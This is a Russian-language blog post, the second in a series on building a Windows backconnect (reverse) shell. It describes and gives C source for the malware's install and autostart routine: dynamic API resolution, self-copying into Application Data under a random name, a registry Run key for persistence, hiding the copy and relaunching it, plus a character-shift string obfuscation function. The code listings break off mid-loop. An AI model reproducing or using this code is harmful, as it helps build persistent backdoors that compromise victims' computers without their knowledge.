В прошлом посте я начал данный цикл. Итак, сегодня я буду мучать вас процедурой инсталляции в систему. Она настолько банальна (ибо в боевых условиях этот шелл я не применял ни разу) что боюсь, что пост выйдет слишком коротким.

613 Бэкконект шелл. Часть вторая.

инсталляция и автозагрука

Если вы готовы, то прошу под кат.Логика инсталляции следущая:

  1. Проверяем есть ли запись на нас в реестре
  2. Если нет, то дропаемся, затем запускаем свой дроп и выходим

Вот и все. Все ясно как божий день. Код в студию:

void INSTALL(void){
        char CurrentPath[MAX_PATH];

        typedef DWORD (WINAPI *__GetModuleFileName)(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
        __GetModuleFileName _GetModuleFileName = (__GetModuleFileName)GetProcAddress(LoadLibrary("Kernel32.dll"),"GetModuleFileNameA");

        typedef HMODULE (WINAPI *__GetModuleHandle)(LPCTSTR lpModuleName);
        __GetModuleHandle _GetModuleHandle = (__GetModuleHandle)GetProcAddress(LoadLibrary("Kernel32.dll"),"GetModuleHandleA");

        _GetModuleFileName(_GetModuleHandle(NULL),CurrentPath,MAX_PATH);

        char ThePath[MAX_PATH];

        typedef HRESULT (WINAPI* _SHGetFolderPath)(HWND hwndOwner,int nFolder,HANDLE hToken,DWORD dwFlags,LPTSTR pszPath);
        _SHGetFolderPath SHGetFolderPath = (_SHGetFolderPath)GetProcAddress(LoadLibrary("shell32.dll"),"SHGetFolderPathA");
        SHGetFolderPath(NULL,26, NULL, 0, ThePath);

        char name[16];
        srand(time(NULL));
        name[0]='\\';
        name[1]='я';
        for(int i = 2;i
                      

Что тут происходит? Во первых мы получаем путь на нас, затем получаем путь для дропанья. Гы, веселое получилось слово. Этот путь вроде бы на папку Application Data. Точно не помню — за подробностями милости прошу в MSDN. Дальше мы генерируем себе имя, затем открываем ключ автозапуска и запрашиваем значение ключа. Если нам вернули то, что и до этого было в переменной, значит нас разводят, и мы не в системе… Тогда прописываемся в реестр, копируемся на диск, и делаем скрытие. После этого запускаем скопированную копию и выходим. Вот и все. Да, если вы внимательно читали код (что априори очень трудно в таком виде), то должно быть, заметили вызов функции sequrity — эта функция делает вот што:

char * sequrity(char *in,bool code){
        char *out = new char(strlen(in));
        for(unsigned int i = 0;i
                      

Тобиш, она создает результирующую строку (которую и возвращает) и получает ее из исходной путем добавление к оной числа 2 (к каждому символу). Здесь кстати будет небольшая утечка, но она не фатальна.

tt twitter big4 Бэкконект шелл. Часть вторая. tt digg big4 Бэкконект шелл. Часть вторая. tt facebook big4 Бэкконект шелл. Часть вторая. tt gmail big4 Бэкконект шелл. Часть вторая. tt myspace big4 Бэкконект шелл. Часть вторая. tt reddit big4 Бэкконект шелл. Часть вторая.

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Супер Pixel